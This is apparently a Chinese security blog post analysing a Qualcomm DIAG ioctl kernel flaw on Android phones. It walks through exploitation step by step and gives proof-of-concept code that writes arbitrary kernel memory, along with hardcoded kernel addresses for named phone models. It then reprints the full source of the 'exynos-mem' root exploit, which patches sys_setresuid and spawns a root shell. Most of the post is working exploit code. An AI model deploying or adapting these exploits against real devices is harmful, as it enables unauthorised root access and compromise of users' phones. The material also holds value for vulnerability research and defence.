/*
本文章由 莫灰灰 编写,转载请注明出处。
作者:莫灰灰 邮箱: minzhenfei@163.com
*/
1. 漏洞描述
在处理DIAG设备的ioctl系统调用参数时,一些未经验证的引用自用户层的不可信指针被使用了。对于本地安装的应用程序来说,可以使用这个漏洞来实施拒绝服务攻击,或者在内核下执行任意代码。
2. 漏洞分析
- } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
- struct diagpkt_delay_params *delay_params =
- (struct diagpkt_delay_params *) ioarg;
- if ((delay_params->rsp_ptr) &&
- (delay_params->size == sizeof(delayed_rsp_id)) &&
- (delay_params->num_bytes_ptr)) {
- *((uint16_t *)delay_params->rsp_ptr) =
- DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
- *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
*((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id); 这个赋值操作,可以修改delay_params->rsp_ptr的值,DIAGPKT_NEXT_DELAYED_RSP_ID宏的代码如下:
- #define DIAGPKT_MAX_DELAYED_RSP 0xFFFF
- #define DIAGPKT_NEXT_DELAYED_RSP_ID(x) \
- ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)
如何利用:
知道了原理之后,那么其实我们每一次ioctl调用可以修改2个字节。
1.通过ioctl得到当前delayed_rsp_id的值
2.如果delayed_rsp_id的值大于我们需要的值,那么通过*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);把delayed_rsp_id重置为2(delayed_rsp_id的地址需要硬编码得到)
3.之后得到loop的次数,loop_count = (data_we_want - delayed_rsp_id_value) & 0xffff;
4.最后将delay_params->rsp_ptr地址里面的值修改为我们需要的值,从而达到任意地址修改的目的
5.如果是修改4字节的函数地址,那么可以分两次来修改
3.PoC
- static bool
- inject_value(struct diag_values *data,
- int fd, void *delayed_rsp_id_address)
- {
- uint16_t delayed_rsp_id_value = 0;
- int i, loop_count, ret;
- // 通过ioctl调用,得到当前delayed_rsp_id的值
- ret = get_current_delayed_rsp_id(fd);
- if (ret < 0) {
- return false;
- }
- delayed_rsp_id_value = ret;
- data->original_value = delayed_rsp_id_value;
- // 如果delayed_rsp_id的值比我们需要的大,那么重置它
- // 其中delayed_rsp_id_address的地址是硬编码取得
- if (delayed_rsp_id_value > data->value &&
- reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
- return false;
- }
- // 得到循环次数
- loop_count = (data->value - delayed_rsp_id_value) & 0xffff;
- // 利用delayed_rsp_id的值每调用一次+1的特性,修改为我们需要的值
- for (i = 0; i < loop_count; i++) {
- int unused;
- if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
- return false;
- }
- }
- return true;
- }
delayed_rsp_id_address的硬编码地址如下:
- static supported_device supported_devices[] = {
- { DEVICE_F03D_V24R33Cc, 0xc0777dd0 },
- { DEVICE_F11D_V21R36A, 0xc092f1a4 },
- { DEVICE_F11D_V24R40A, 0xc091bf8c },
- { DEVICE_F11D_V26R42B, 0xc091bf8c },
- { DEVICE_F12C_V21, 0xc075aca4 },
- { DEVICE_IS17SH_01_00_03, 0xc0a546fc },
- { DEVICE_IS11N_GRJ90, 0xc0835758 },
- { DEVICE_ISW11K_145_0_0002, 0xc07f93a4 },
- { DEVICE_SC01E_LJ3, 0xc0bdfae0 },
- { DEVICE_SC05D_LPL, 0xc0cb0924 },
- { DEVICE_SCL21_LJD, 0xc0b96128 },
- { DEVICE_SO05D_7_0_D_1_117, 0xc0b8840c },
- { DEVICE_ISW12K_010_0_3000, 0xc0935104 },
- };
4.漏洞修复
使用copy_from_user和copy_to_user函数保证用户层传入参数的正确性,而不是直接使用。
转: http://bbs.pediy.com/showthread.php?t=161590
去年年底高通的漏洞,应该影响了很多机器。
有问题的代码片段:
include/linux/diagchar.h
.. #define DIAG_IOCTL_GET_DELAYED_RSP_ID 8 ... struct diagpkt_delay_params{ void *rsp_ptr; int size; int *num_bytes_ptr; }; ...
... /* delayed_rsp_id 0 represents no delay in the response. Any other number means that the diag packet has a delayed response. */ static uint16_t delayed_rsp_id = 1; #define DIAGPKT_MAX_DELAYED_RSP 0xFFFF /* This macro gets the next delayed respose id. Once it reaches DIAGPKT_MAX_DELAYED_RSP, it stays at DIAGPKT_MAX_DELAYED_RSP */ #define DIAGPKT_NEXT_DELAYED_RSP_ID(x) \ ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP) ... } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) { struct diagpkt_delay_params *delay_params = (struct diagpkt_delay_params *) ioarg; if ((delay_params->rsp_ptr) && (delay_params->size == sizeof(delayed_rsp_id)) && (delay_params->num_bytes_ptr)) { *((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id); *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id); success = 0; } ...
static int poke16(int fd, void *magic, void *addr, uint16_t val) { int ret, num; uint16_t rsp, loop; struct diagpkt_delay_params p; LOGD("%s:%d: enter.", __func__, __LINE__); LOGD("%s:%d %d %p %p 0x%04x", __func__, __LINE__, fd, magic, addr, val); // orz if (val < 3) { LOGD("%s:%d: val < 3 is not supported.", __func__, __LINE__); return -1; } // delayed_rsp_id will ++ after every call p.rsp_ptr = &rsp; p.size = sizeof(rsp); p.num_bytes_ptr = # ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p); if (ret < 0) { perror("ioctl"); LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno)); return -1; } rsp += 1; LOGD("%s:%d: delayed_rsp_id = %04x, val = %04x", __func__, __LINE__, rsp, val); if (rsp > val) { // make delayed_rsp_id = 2 p.rsp_ptr = &rsp; p.size = sizeof(rsp); p.num_bytes_ptr = magic; ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p); if (ret < 0) { perror("ioctl"); LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno)); return -1; } // rsp = 2; } // loop loop = val - rsp; LOGD("%s:%d: loop = %04x", __func__, __LINE__, loop); while (loop--) { p.rsp_ptr = &rsp; p.size = sizeof(rsp); p.num_bytes_ptr = # ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p); if (ret < 0) { perror("ioctl"); LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno)); return -1; } } // delayed_rsp_id should be val now p.rsp_ptr = addr; p.size = sizeof(rsp); p.num_bytes_ptr = # ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p); if (ret < 0) { perror("ioctl"); LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno)); return -1; } LOGD("%s:%d leave.", __func__, __LINE__); return 0; }
一般都是在sys_setresuid和sys_setresgid这些内核符号上爆破,后边应用层直接调用setresuid...
这些内核导出符号一般都要搜索/proc/kallsyms
看看samsung GS3等exynos CPU之前的漏洞利用源码
/*
* exynos-mem device abuse by alephzain
*
* /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
*
* the device is R/W by all users :
* crw-rw-rw- 1 system graphics 1, 14 Dec 13 20:24 /dev/exynos-mem
*
*/
/*
* Abuse it for root shell
*/
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#define PAGE_OFFSET 0xC0000000
#define PHYS_OFFSET 0x40000000
int main(int argc, char **argv, char **env) {
int fd, i, m, index, result;
unsigned long *paddr = NULL;
unsigned long *tmp = NULL;
unsigned long *restore_ptr_fmt = NULL;
unsigned long *restore_ptr_setresuid = NULL;
unsigned long addr_sym;
int page_size = sysconf(_SC_PAGE_SIZE);
int length = page_size * page_size;
/* for root shell */
char *cmd[2];
cmd[0] = "/system/bin/sh";
cmd[1] = NULL;
/* /proc/kallsyms parsing */
FILE *kallsyms = NULL;
char line [512];
char *ptr;
char *str;
bool found = false;
/* open the door */
fd = open("/dev/exynos-mem", O_RDWR);
if (fd == -1) {
printf("[!] Error opening /dev/exynos-mem\n");
exit(1);
}
/* kernel reside at the start of physical memory, so take some Mb */
paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
tmp = paddr;
if (paddr == MAP_FAILED) {
printf("[!] Error mmap: %s|%08X\n",strerror(errno), i);
exit(1);
}
/*
* search the format string "%pK %c %s\n" in memory
* and replace "%pK" by "%p" to force display kernel
* symbols pointer
*/
for(m = 0; m < length; m += 4) {
if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) {
printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m);
restore_ptr_fmt = tmp;
*(unsigned long*)tmp = 0x20207025;
found = true;
break;
}
tmp++;
}
if (found == false) {
printf("[!] s_show->seq_printf format string not found\n");
exit(1);
}
found = false;
/* kallsyms now display symbols address */
kallsyms = fopen("/proc/kallsyms", "r");
if (kallsyms == NULL) {
printf("[!] kallsysms error: %s\n", strerror(errno));
exit(1);
}
/* parse /proc/kallsyms to find sys_setresuid address */
while((ptr = fgets(line, 512, kallsyms))) {
str = strtok(ptr, " ");
addr_sym = strtoul(str, NULL, 16);
index = 1;
while(str) {
str = strtok(NULL, " ");
index++;
if (index == 3) {
if (strncmp("sys_setresuid\n", str, 14) == 0) {
printf("[*] sys_setresuid found at 0x%08X\n",addr_sym);
found = true;
}
break;
}
}
if (found) {
tmp = paddr;
tmp += (addr_sym - PAGE_OFFSET) >> 2;
for(m = 0; m < 128; m += 4) {
if (*(unsigned long *)tmp == 0xe3500000) {
printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m);
restore_ptr_setresuid = tmp;
*(unsigned long *)tmp = 0xe3500001;
break;
}
tmp++;
}
break;
}
}
fclose(kallsyms);
/* to be sure memory is updated */
usleep(100000);
/* ask for root */
result = setresuid(0, 0, 0);
/* restore memory */
*(unsigned long *)restore_ptr_fmt = 0x204b7025;
*(unsigned long *)restore_ptr_setresuid = 0xe3500000;
munmap(paddr, length);
close(fd);
if (result) {
printf("[!] set user root failed: %s\n", strerror(errno));
exit(1);
}
/* execute a root shell */
execve (cmd[0], cmd, env);
return 0;
}